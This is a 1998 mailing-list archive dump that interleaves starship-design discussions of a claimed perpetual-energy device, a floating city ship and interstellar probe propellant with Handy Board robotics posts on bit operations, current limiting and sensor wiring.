""19:25:02"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""18"" ""Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 679 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA20818 for starship-design-outgoing; Sat, 8 Aug 1998 13:17:46 -0700 (PDT) Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id NAA20811 for ; Sat, 8 Aug 1998 13:17:43 -0700 (PDT) Received: from tim (dc2-modem2179.dial.xs4all.nl [194.109.136.131]) by smtp3.xs4all.nl (8.8.8/8.8.8) with SMTP id WAA01658 for ; Sat, 8 Aug 1998 22:17:37 +0200 (CEST) Message-Id: <3.0.1.32.19980808192502.00794d20@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <19980808.111904.6278.0.jon_jay1@juno.com> References: <3.0.1.32.19980808132841.007b5860@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Power - T.E.M.I Date: Sat, 08 Aug 1998 19:25:02 +0100 Jonathan, You wrote: >That [insulation], unfortunately, was the first thing I suggested. It >cannot be insulated because it is live. Nothing can touch >it without being zapped. He didn't want to ground it, so he >put it on some corkboard and blue tacked it in place. I meant THERMAL insulation. This should have to do little with ELECTRICAL insulation, which is what I think to read in the above message. So my suggestion is: put the heat-sensitive part of the device in a thermos-flask. If the device can sit on corkboard and be in normal air, it should not matter if it for example is inside a mirrored glass flask. OK, I hope this has cleared up the confusion. Timothy >From VM Mon Aug 10 09:43:16 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1071"" ""Sun"" ""9"" ""August"" ""1998"" ""15:07:58"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""22"" ""starship-design: Freedom city ship"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1071 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id MAA12857 for starship-design-outgoing; Sun, 9 Aug 1998 12:08:44 -0700 (PDT) Received: from imo21.mx.aol.com (imo21.mx.aol.com [198.81.17.65]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id MAA12850 for ; Sun, 9 Aug 1998 12:08:41 -0700 (PDT) Received: from KellySt@aol.com by imo21.mx.aol.com (IMOv14_b1.1) id 2FHOa12330 for ; Sun, 9 Aug 1998 15:07:58 -0400 (EDT) Message-ID: <639cd98c.35cdf390@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Freedom city ship Date: Sun, 9 Aug 1998 15:07:58 EDT Hey check out http://www.freedomshipcity.com/index.html http://popularmechanics.com/popmech/sci/9802STRSAM.html Its an idea for a floating city ship. Looks like the project will get funding and probably launch in 2-3 years. It cruses around the world as a combination resort/retirement home, trade center (tariff free) and tourist spot. 25 stories tall, 4300 feet long, onboard airport and marina, and has a population of tens of thousands. Its planing to recycle its water and airs not a big step up from there. So its functionally very much like a space station on water. But more important a self supporting platform that can self fund as residence & zero tariff trading port is a very interesting step toward seting up colonies on sea or in space. I've heard several times that a floating city is a good testbed for the economics of a orbiting city, but this is the first project that looks like its got a practical idea, not just a idealize vision. (Hey it makes more sence then colonizing Mars!) I'm very interested to see how it will come off. Kelly >From VM Mon Aug 10 09:43:16 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1396"" ""Mon"" ""10"" ""August"" ""1998"" ""09:37:55"" ""+0200"" ""Bjorn Nilsson"" ""f96bni@student.tdb.uu.se"" nil ""32"" ""Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1396 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id AAA13454 for starship-design-outgoing; Mon, 10 Aug 1998 00:38:03 -0700 (PDT) Received: from sabik.tdb.uu.se (0HH/AdZ9sWtec30P0rZtNvOwtcJcKxUX@sabik.tdb.uu.se [130.238.138.70]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id AAA13446 for ; Mon, 10 Aug 1998 00:38:00 -0700 (PDT) Received: from localhost (f96bni@localhost) by sabik.tdb.uu.se (8.8.8/8.8.8/STUD_1.1) with SMTP id JAA11894; Mon, 10 Aug 1998 09:37:56 +0200 (MET DST) X-Sender: f96bni@sabik.tdb.uu.se In-Reply-To: <3.0.1.32.19980808132841.007b5860@pop.xs4all.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: Bjorn Nilsson From: Bjorn Nilsson Sender: owner-starship-design@lists.uoregon.edu To: Timothy van der Linden cc: starship-design@lists.uoregon.edu Subject: Re: starship-design: Power - T.E.M.I Date: Mon, 10 Aug 1998 09:37:55 +0200 (MET DST) On Sat, 8 Aug 1998, Timothy van der Linden wrote: > Jonathan, > > Why did your friend want to inform this mailing list of his experiment > while it still is in a premature phase (it has been running only 3 weeks)? > This list can't function if we can't have more exact data or theory. > > The availability of infinite obtainable energy in a small container would > make a large part of the subjects of this list useless. This is not a > problem, however such devices need more backup than a single university > friend who ""believes"" that it will work. Only freedom of information (if > necessary through a patent) about the device will serve as enough backup. > This mailing list can't function in any other way. > > If your friend merely did want to ask how he could avoid rapid cooling of > the device in space, then the answer is simple: Insulation. > But of course the propulsion system we need should release enough energy > per second to accelerate a heavy starship. The heating of the device would > only be a fraction of the power compared to the power needed for acceleration. > > Timothy > > Besides, as I've understood it most Starships would have trouble with overheating (from all the waste heat of equipment and propulsion systems on board) because of the lack of a medium to carry the internal termal energy into space, rather than with ""deep-freezing"" anyway... Bjornie",0,1 Wally Blackburn ,handyboard@media.mit.edu,"Fri, 07 Aug 1998 09:06:52 -0400",No More Miniboard Sales to Hobbyists," I am sorry to announce that, as of 8/1/98, CW Technology will no longer offer Miniboards for sale to individuals, outside the United States, or in lots of less than 5. Due to a lack of time and the resulting poor service, I simply cannot continue to sell Miniboards to hobbyists in small quantities. Kits will no longer be offered in any quantity - only assembled and tested Miniboards will be sold. ALL CURRENT ORDERS WILL BE FILLED AS QUICKLY AS POSSIBLE. Sales will continue to universities and other institutions via PO and prepay. As stated above, the minimum quantity order is 5 assembled/tested Miniboards. To further streamline processing, a new simplified pricing structure is also being instituted. Assembled and tested Miniboards are $120 each. This price includes shipping via FedEx and there are NO OTHER processing or handling fees. I am sorry to stop offering this service to the hobbyist community. I am still willing to offer Miniboards in quantites of 5 or more to individuals as part of a group buy. This will be via prepay only and all organizing and post-order shipping is the responsibility of the group buy coordinator. ",0,0 Will ,Handyboard Mailing List ,"Fri, 07 Aug 1998 10:14:00 -0600",Re: what is poke and peek command,"phillip chia wrote: > How to understand what is poke( 1009, 0x20) and bit set (1008, 0x20) ? > What is 0 x20 and 0x30 ? how to interpret it ? when should I use 0x20 > ,0x30, or 0x40 ? The poke command writes a byte (eight bits) into memory. The peek command reads a byte from memory. The bit_set command turns on the specified bits of a byte in memory, but leaves the other bits unaffected. An integer constant that begins with 0x is in hexadecimal (base 16) format, and each digit can range from zero to F. For instance, 0x20 is equivalent to 32 in decimal (i.e. 2*16 + 0*1). To figure out which bits would be set by a bit_set( loc, 0x20 ) statement, convert the hexadecimal to binary. Each hex digit represents four bits, so 0x20 is the same as 0010 0000 in binary (the first group of four bits is 2 in binary and the second group is zero). The difference between poke and bit_set can best be illustrated by an example. Say the current byte value stored in a particular memory location is 0xD6 (that's 1110 0110 in binary). Poke( loc, 0x30 ) would simply replace the current value with the 0x30, but bit_set( loc, 0x30 ) would make the result the logical OR of the current value and the 0x30 mask value: bit_set( loc, 0x30 ); 1110 0110 current value 0xD6 OR 0011 0000 the mask value 0x30 --------------- 1111 0110 the result 0xF6 (246 in decimal) The bit_clear simply clears any bits that are specified in the mask, leaving the others unaffected (it's the logical AND NOT of the current value and the mask value): bit_clear( loc, 0x30 ); 1110 0110 current value 0xD6 AND NOT 0011 0000 the mask value 0x30 --------------- ...which can be rewritten as: 1110 0110 current value 0xD6 AND 1100 1111 the NOT of the mask value --------------- 1100 0110 the result 0xC6 (198 in decimal) Hope this helps. Good luck! --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, I don't want to achieve immortality through my work. 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Martin"" ",sawad ,"Sat, 08 Aug 1998 08:30:03 -0400",Re: windows nt and hb ,"the advise of turning off the serial port under NT was only to enable using the IC DOS apps. if you are using contemporary software tools, then it is not necessary to do so. just access the serial port according to the recommended manner. fred In your message you said: > > hi > > i have a java app which gets input from the serial port via > jni (java native interface) and c++. > > i'd like to get input from 4 photo sensors via the handyboard. > > however, i read in the FAQ that because i'm running > windows nt, i will need to ""turn off"" the COM port > in order for the hb downloader/ic to work. > > but i need to be able to access the COM port from > within my dll which holds my native code. > > is there a way to make this work? > > thanks, > > sawad > > ",0,0 John Woolsey ,Handyboard Mailing List ,"Sat, 08 Aug 1998 16:43:35 -0500",RC Car Robot Base,"All: I am trying to find a World Scale RC Car/Truck base for my robot. One of the items I have been looking at was the Thunder King RC Monster Truck from MRC/Tower Hobbies, but they have recently discontinued that part. Does anyone have any suggestions for a fairly large RC base that would work well with the HandyBoard? Your comments would be greatly appreciated. Thank you, John Woolsey ",0,0 Phil ,handyboard@media.mit.edu,"Sat, 08 Aug 1998 20:52:20 -0500",How do I limit current effectively?,"I have 2 large motors that draw about 2 amps. They are powered by a battery that's 6v at 2amp. How can I limit the motors so that they can only draw 1/2 amp????? I know on my first robot (ahh, fine memories of burning resistors), I just made a bank of resistors, but that got extremely hot and melted the nearby electrical tape and even softened the LEGO piece it was on. What method would be better? thanks! phil thehahns@netwurx.net ",0,0 Joe Martin ,handyboard@media.mit.edu,"Sun, 09 Aug 1998 15:00:34 +1000",RE: How do I limit current effectively?,"National Semiconductor make an ""LM317"" 3 terminal adjustable regulator which can easily be used as a current limiter. I am not sure if the schematic for this particular application is included with the Data sheets so I'll add it here. Current Limiter ________________ R1 Vin |LM317|___/\\/\\/\\_________Iout |_____|Vout | | | Vadj|____________| Iout = 1.25/R1 where I is the output amperage Joe Martin > -----Original Message----- > From: Phil [mailto:thehahns@netwurx.net] > Sent: Sunday, 9 August 1998 11:52 > To: handyboard@media.mit.edu > Subject: How do I limit current effectively? > > > I have 2 large motors that draw about 2 amps. They are powered by > a battery > that's 6v at 2amp. How can I limit the motors so that they can > only draw 1/2 > amp????? > > I know on my first robot (ahh, fine memories of burning resistors), I just > made a bank of resistors, but that got extremely hot and melted the nearby > electrical tape and even softened the LEGO piece it was on. What method > would be better? > > thanks! > phil > thehahns@netwurx.net > ",0,0 John Wong ,"John Woolsey , Handyboard Mailing List ","Sun, 09 Aug 1998 22:29:37 +1000",Re: RC Car Robot Base,"Try this from Tamiya, they have a wide range of RC cars/trucks. www.tamiya.com At 04:43 PM 8/8/98 -0500, John Woolsey wrote: >All: > > I am trying to find a World Scale RC Car/Truck base for my robot. >One of the items I have been looking at was the Thunder King RC >Monster Truck from MRC/Tower Hobbies, but they have recently >discontinued that part. > Does anyone have any suggestions for a fairly large RC base that >would work well with the HandyBoard? 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",1,1 Rick Moll ,HVillalva@aol.com,"Sun, 09 Aug 1998 13:45:57 -0500",Re: mouse,"HVillalva@aol.com wrote: > has anybody try to run a robot based on a mouse to keep trak of his position? > what are the settings to observe the string comming out of the mouse?? > Yhanks for any info You might want to try using a ""bus"" mouse rather than a ""serial"" mouse (assuming they still make them). They use to be quite common on PC's that had an ISA bus. On a ""bus"" mouse, all of the encoder outputs are brought out to a board that plugs into the computer's bus. Rick ",0,0 Chuck McManis ,Joe Martin ,"Sun, 09 Aug 1998 19:12:16 -0700",Re: How do I limit current effectively?,"Why not use a 12ohm 10watt power resistor instead? --Chuck Joe Martin wrote: > > National Semiconductor make an ""LM317"" 3 terminal adjustable regulator which > can easily be used as a current limiter. I am not sure if the schematic for > this particular application is included with the Data sheets so I'll add it > here. > > Current Limiter > > ________________ R1 > Vin |LM317|___/\\/\\/\\_________Iout > |_____|Vout | > | | > Vadj|____________| > > Iout = 1.25/R1 where I is the output amperage > > Joe Martin > > > -----Original Message----- > > From: Phil [mailto:thehahns@netwurx.net] > > Sent: Sunday, 9 August 1998 11:52 > > To: handyboard@media.mit.edu > > Subject: How do I limit current effectively? > > > > > > I have 2 large motors that draw about 2 amps. They are powered by > > a battery > > that's 6v at 2amp. How can I limit the motors so that they can > > only draw 1/2 > > amp????? > > > > I know on my first robot (ahh, fine memories of burning resistors), I just > > made a bank of resistors, but that got extremely hot and melted the nearby > > electrical tape and even softened the LEGO piece it was on. What method > > would be better? > > > > thanks! > > phil > > thehahns@netwurx.net > > ",0,0 Joe Martin ,handyboard@media.mit.edu,"Mon, 10 Aug 1998 13:38:48 +1000",RE: How do I limit current effectively?,"That may be fine, I'm not really very well versed electronically but when doing something similar I had worried that a resistor would reduce the voltage. That might be ok in this situation. Joe Martin > -----Original Message----- > From: Chuck McManis [mailto:cmcmanis@freegate.com] > Sent: Monday, 10 August 1998 12:12 > To: Joe Martin > Cc: handyboard@media.mit.edu > Subject: Re: How do I limit current effectively? > > > Why not use a 12ohm 10watt power resistor instead? > --Chuck > > > Joe Martin wrote: > > > > National Semiconductor make an ""LM317"" 3 terminal adjustable > regulator which > > can easily be used as a current limiter. I am not sure if the > schematic for > > this particular application is included with the Data sheets so > I'll add it > > here. > > > > Current Limiter > > > > ________________ R1 > > Vin |LM317|___/\\/\\/\\_________Iout > > |_____|Vout | > > | | > > Vadj|____________| > > > > Iout = 1.25/R1 where I is the output amperage > > > > Joe Martin > > > > > -----Original Message----- > > > From: Phil [mailto:thehahns@netwurx.net] > > > Sent: Sunday, 9 August 1998 11:52 > > > To: handyboard@media.mit.edu > > > Subject: How do I limit current effectively? > > > > > > > > > I have 2 large motors that draw about 2 amps. They are powered by > > > a battery > > > that's 6v at 2amp. How can I limit the motors so that they can > > > only draw 1/2 > > > amp????? > > > > > > I know on my first robot (ahh, fine memories of burning > resistors), I just > > > made a bank of resistors, but that got extremely hot and > melted the nearby > > > electrical tape and even softened the LEGO piece it was on. > What method > > > would be better? > > > > > > thanks! > > > phil > > > thehahns@netwurx.net > > > > ",0,0 Chuck McManis ,Handyboard ,"Sun, 09 Aug 1998 21:31:32 -0700",Some robot pictures,"Hi, I've built several robots over the years and for the RoboExpo in SF I put together a web page with pictures showing them off. Most are R/C conversions but you can view them at http://professionals.com/~cmcmanis/robotics/family.html I'm happy to answer questions as well. All except the last one use a Miniboard, Robotank III's base controller is a handyboard, its upper level decision making will be based on the Motorola ColdFire board. --Chuck McManis ",0,1 Bjorn Nilsson ,Jonathan J Jay ,"Mon, 10 Aug 1998 11:58:57 +0200",Re: starship-design: Power - T.E.M.I,"On Fri, 7 Aug 1998, Jonathan J Jay wrote: > This is what he wrote, not me: > "" I know what my device does. My bud sees major potential > and just because I never learned advanced physics, or whatever, > doesn't mean that I can't make it work. In answer to your points. > ((A)). No it is not a battery. > ((B)). The wires do not touch the rods. > ((C)). As far as I know, it will last indefinitely. ROFLMAO ",0,0 John Wong ,handyboard@media.mit.edu,"Mon, 10 Aug 1998 22:30:10 +1000",problem with digital ports.,"Hi all, I have a problem with my handyboard where it seems that all the digital ports are not responding. While all the other analog and motor ports are fine. Also when I tried to use the program hbtest.c to test the board, it is not working neither as the program simply will not run. Can anyone tell me what is the most likely cause for such problem? (certain chip is damaged?) Thank you for any advice.. John ",0,0 sawad ,handyboard@media.mit.edu,"Mon, 10 Aug 1998 11:09:32 -0400",ports question," hi, looking at the sensor diagram at: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/sensors/index.html i see something like this: signal =====||= =||= +5V =====||= ground ====||= on the actual hb, do the three rows of holes along the ""bottom"" or near edge of the board correspond to the sensor diagram in terms of the top row being the signal, the middle row being the +5v, and the bottom row being the ground? thanks, sawad ",0,1 sawad ,handyboard@media.mit.edu,"Mon, 10 Aug 1998 11:20:46 -0400",ports question (cont)," ... just to follow up on my question: i'm trying to read the photosensors through the analog ports. however, the value returned by analog(i) is always 255, so perhaps i have the sensors hooked wrong. when i read ""analog(0);"" it always retunes 255, no matter how much light i am shining upon the sensor, which i have plugged into the rightmost set of holes in the analog bank. btw, i am able to turn the motors fwd/rev/off, and can printf(). basically, the hb (which i bought assembled) seems to work, so i'm sure i just have something wrong with my understanding of how to hook into the analog (and digital) ports. thank you for your time sawad ",0,0 """Kyle R. Mcallister"" ",starship-design@lists.uoregon.edu,"Mon, 10 Aug 1998 13:33:41 -0700",Re: starship-design: Freedom city ship,"Kyle R. Mcallister wrote: > KellySt@aol.com wrote: > (Hey it makes more > sence then colonizing Mars!) I'm very interested to see how it will > come off. What is wrong with colonizing Mars? Kyle R. Mcallister >From VM Tue Aug 11 09:44:26 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1943"" ""Mon"" ""10"" ""August"" ""1998"" ""23:54:54"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""53"" ""Re: RE: starship-design: Freedom city ship"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1943 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id UAA16334 for starship-design-outgoing; Mon, 10 Aug 1998 20:56:03 -0700 (PDT) Received: from imo27.mx.aol.com (imo27.mx.aol.com [198.81.17.71]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA16323 for ; Mon, 10 Aug 1998 20:56:00 -0700 (PDT) Received: from KellySt@aol.com by imo27.mx.aol.com (IMOv14_b1.1) id VPPa004231; Mon, 10 Aug 1998 23:54:54 +2000 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: Re: RE: starship-design: Freedom city ship Date: Mon, 10 Aug 1998 23:54:54 EDT In a message dated 8/9/98 6:55:06 PM, lparker@cacaphony.net wrote: >Kelly, > > > >I saw a news article on that several months ago, but didn't think about it >in relationship to our search for a comparable model to an interstellar >expedition. With two small exceptions, you are correct that this is the >closest approach yet. Actually I was thinking of it more as a model for space development, specifically space stations, but they are obviously similar. Thou a 50,000 person floating city is a big jump past a 700 person interstellar survey ship. >The exceptions are transport costs to the vessel and mission fuel >requirements. It costs considerably less than the current $10,000 per pound >to Earth orbit to send a supply vessel or ferry to this ship and the fuel to >weight ratio is certainly in its favor as well. > > >When we CAN match these two parameters in a spaceship, interstellar travel >will be commonplace! In the meanwhile, we must go anyway and accept that it >will take longer, cost more and we will have to send fewer people, but go we >must. Well the current cost to orbit is a side effect of political factors and the current trivial flight rates. Obviously just lifting the fuel for a starship like ours would drive the launch industry up orders of magnitude in size, and down orders of magnitude in costs. However the resulting cost (assuming current technology) might be less then an airliner, but far more then an ocean frieghter. > >Historically speaking, we are at the stage of the Viking explorers when they >found Newfoundland and Nova Scotia, and it is a long way, technically >speaking, from a Viking longship to a floating city! Well were not that far down. The Vikings could even dream of the technology the floating city would use. We already have most of the technologies a starship would need. Thou obviously some wild cards like zero=point energy would be a BIG help. ;) > >Lee Kelly >From VM Tue Aug 11 09:44:26 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""164"" ""Tue"" ""11"" ""August"" ""1998"" ""10:05:32"" ""-0500"" ""Gene Marlin"" ""rmarlin@network-one.com"" nil ""3"" ""starship-design: Interstellar Probes "" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 164 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id IAA10296 for starship-design-outgoing; Tue, 11 Aug 1998 08:10:44 -0700 (PDT) Received: from netra1.network-one.com (netra1.network-one.com [209.149.88.10]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id IAA10276 for ; Tue, 11 Aug 1998 08:10:41 -0700 (PDT) Received: from marlin ([209.149.88.59]) by netra1.network-one.com (Netscape Messaging Server 3.54) with SMTP id AAA450A for ; Tue, 11 Aug 1998 10:10:39 -0500 Message-ID: <35D05DBB.558C@network-one.com> X-Mailer: Mozilla 3.01C-KIT (Win95; U) MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Gene Marlin From: Gene Marlin Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Interstellar Probes Date: Tue, 11 Aug 1998 10:05:32 -0500 Using current and near-term technology, how fast could we get a 2 kilogram probe to nearby stars such as Tau Ceti, Epsilon Eridani, Proxima Centauri, and 61 Cygni? >From VM Tue Aug 11 09:44:26 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1165"" ""Tue"" ""11"" ""August"" ""1998"" ""11:30:07"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""29"" ""Re: starship-design: Interstellar Probes"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1165 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA07273 for starship-design-outgoing; Tue, 11 Aug 1998 09:32:50 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id JAA07258 for ; Tue, 11 Aug 1998 09:32:47 -0700 (PDT) Received: from OEMComputer (pm3-134.gpt.infi.net [207.0.193.134]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id MAA24378 for ; Tue, 11 Aug 1998 12:32:46 -0400 (EDT) Message-ID: <35D08DAF.434E@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: <35D05DBB.558C@network-one.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Interstellar Probes Date: Tue, 11 Aug 1998 11:30:07 -0700 Gene Marlin wrote: > > Using current and near-term technology, how fast could we get a 2 > kilogram probe to nearby stars such as Tau Ceti, Epsilon Eridani, > Proxima Centauri, and 61 Cygni? Depends on what kind of propulsion you use. To get it there fast is virtually impossible with current technology. To give you an example of how bad it really is, this is how much it would take to send a school bus sized payload past Alpha Centauri in 900 years: Propellant: Specific Imp.: Fuel mass: ======================================================= Chemical 500 10^137kg (not enough mass in universe) Nuclear fission 5000 10^17kg (a billion supertankers) Nuclear fusion 10000 10^11kg (a thousand supertankers) Antimatter 50000 10^5kg (ten railway tankers) If you want to get there faster that 900 years, it gets worse. If you want to actually stop at the destination, it gets even worse. That's why I don't believe we will make it with any of these propulsion systems. It would be better for a 2 kg probe, but not good. Kyle R. Mcallister >From VM Wed Aug 12 00:04:19 1998 Content-Length: 616 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""616"" ""Tue"" ""11"" ""August"" ""1998"" ""22:17:45"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""25"" ""Re: Re: starship-design: Freedom city ship"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 616 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id TAA13372 for starship-design-outgoing; Tue, 11 Aug 1998 19:18:55 -0700 (PDT) Received: from imo14.mx.aol.com (imo14.mx.aol.com [198.81.17.4]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id TAA13352 for ; Tue, 11 Aug 1998 19:18:53 -0700 (PDT) Received: from KellySt@aol.com by imo14.mx.aol.com (IMOv14_b1.1) id 5IVZa13455; Tue, 11 Aug 1998 22:17:45 +2000 (EDT) Message-ID: <8221b436.35d0fb4a@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: stk@sunherald.infi.net, starship-design@lists.uoregon.edu Subject: Re: Re: starship-design: Freedom city ship Date: Tue, 11 Aug 1998 22:17:45 EDT In a message dated 8/10/98 1:42:50 PM, stk@sunherald.infi.net wrote: >Kyle R. Mcallister wrote: >> >KellySt@aol.com wrote: > > > >> (Hey it makes more >> sence then colonizing Mars!) I'm very interested to see how it will > come off. > >What is wrong with colonizing Mars? None of the Mars coloinization concepts offer a plausibly way the Colony could pay its way (colonies and cities that arn't profitable become ghost towns), this flosting city can, and its: cheaper, more accesable, has a greater surface area to colonize, and far less servicing and transport problems. Kelly > >Kyle R. Mcallister >From VM Wed Aug 12 00:04:20 1998 Content-Length: 444 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""444"" ""Tue"" ""11"" ""August"" ""1998"" ""22:43:40"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""9"" ""Re: starship-design: Freedom city ship"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 444 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id WAA02076 for starship-design-outgoing; Tue, 11 Aug 1998 22:59:10 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA02064 for ; Tue, 11 Aug 1998 20:46:22 -0700 (PDT) Received: from OEMComputer (pm3-145.gpt.infi.net [207.0.193.145]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id XAA11282; Tue, 11 Aug 1998 23:46:21 -0400 (EDT) Message-ID: <35D12B8C.C6A@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: <8221b436.35d0fb4a@aol.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: KellySt@aol.com CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: Freedom city ship Date: Tue, 11 Aug 1998 22:43:40 -0700 > None of the Mars coloinization concepts offer a plausibly way the Colony could > pay its way (colonies and cities that arn't profitable become ghost towns), > this flosting city can, and its: cheaper, more accesable, has a greater > surface area to colonize, and far less servicing and transport problems. Ah, I understand. I thought you were adverse to exploring Mars. Colonizing it also does not make much sense to me. Kyle R. Mcallister >From VM Wed Aug 12 11:23:27 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2025"" ""Wed"" ""12"" ""August"" ""1998"" ""09:24:45"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""44"" ""Re: starship-design: Interstellar Probes"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2025 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id DAA22468 for starship-design-outgoing; Wed, 12 Aug 1998 03:39:10 -0700 (PDT) Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id DAA22462 for ; Wed, 12 Aug 1998 03:39:07 -0700 (PDT) Received: from tim (dc2-modem2179.dial.xs4all.nl [194.109.136.131]) by smtp1.xs4all.nl (8.8.8/8.8.8) with SMTP id MAA19567 for ; Wed, 12 Aug 1998 12:39:04 +0200 (CEST) Message-Id: <3.0.1.32.19980812092445.007a5580@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <35D08DAF.434E@sunherald.infi.net> References: <35D05DBB.558C@network-one.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Interstellar Probes Date: Wed, 12 Aug 1998 09:24:45 +0100 Kyle wrote: >Depends on what kind of propulsion you use. To get it there fast is >virtually impossible with current technology. > >To give you an example of how bad it really is, this is how much it >would take to send a school bus sized payload past Alpha Centauri in 900 >years: > >Propellant: Specific Imp.: Fuel mass: >======================================================= >Chemical 500 10^137kg (not enough mass in >universe) >Nuclear fission 5000 10^17kg (a billion >supertankers) >Nuclear fusion 10000 10^11kg (a thousand >supertankers) >Antimatter 50000 10^5kg (ten railway tankers) > >If you want to get there faster that 900 years, it gets worse. If you >want to actually stop at the destination, it gets even worse. That's why >I don't believe we will make it with any of these propulsion systems. It >would be better for a 2 kg probe, but not good. I'm not so sure whether the numbers in the table are correct, however the table does depict an important characteristics: 